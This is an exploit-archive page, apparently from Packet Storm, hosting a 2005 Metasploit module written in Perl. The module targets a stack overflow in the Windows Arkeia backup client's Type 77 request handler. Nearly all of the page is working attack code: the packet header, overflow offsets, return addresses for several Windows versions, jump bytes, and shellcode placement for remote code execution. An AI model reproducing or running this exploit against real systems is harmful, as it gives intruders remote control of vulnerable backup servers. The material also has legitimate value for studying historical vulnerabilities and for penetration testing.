exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

arkeia_type77_win32.pm

arkeia_type77_win32.pm
Posted Feb 25, 2005
Authored by H D Moore

Remote root exploit for Arkeia 5.3.x that makes use of a stack overflow when handling a Type 77 request. Windows version.

tags | exploit, remote, overflow, root
systems | windows
SHA-256 | c87ca544ecc8e52849a9af4f848af8f646fd4bb2d65382dd0a67f3094ffcb9df

arkeia_type77_win32.pm

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::arkeia_type77_win32;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Arkeia Backup Client Type 77 Overflow (win32)',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32'],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 617],
},

'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Arkeia backup
client for the Windows platform. This vulnerability affects
all versions up to and including 5.3.3.
}),

'Refs' =>
[
['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],
],

'Targets' =>
[
['Arkeia 5.3.3 Windows (All)', 0x004083aa ], # arkeiad.exe
['Windows 2000 English', 0x75022ac4 ], # ws2help.dll
['Windows XP English SP0/SP1', 0x71aa32ad ], # ws2help.dll
['Windows NT 4.0 SP4/SP5/SP6', 0x77681799 ], # ws2help.dll
],

'Keys' => ['arkeia'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

my $head = "\x00\x4d\x00\x03\x00\x01\xff\xff";
my $poof = Pex::Text::EnglishText(4096);

# Configure the length value of the data in the packet header
substr($head, 6, 2, pack('n', length($poof)));

# The return address is a pop/pop/ret in the executable or system lib
substr($poof, 1176, 4, pack('V', $target->[1]));

# The pop/pop/ret takes us here, jump back five bytes
substr($poof, 1172, 2, "\xeb\xf9");

# Jump all the way back to our shellcode
substr($poof, 1167, 5, "\xe9".pack('V', -1172));

# Place our shellcode in the beginning of the request
substr($poof, 0, length($shellcode), $shellcode);

$self->PrintLine("[*] Sending " .length($poof) . " bytes to remote host.");
$s->Send($head);
$s->Send($poof);

# Takes a few seconds for the payload to pop (multiple exceptions)
$s->Recv(-1, 10);

return;
}

1;
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close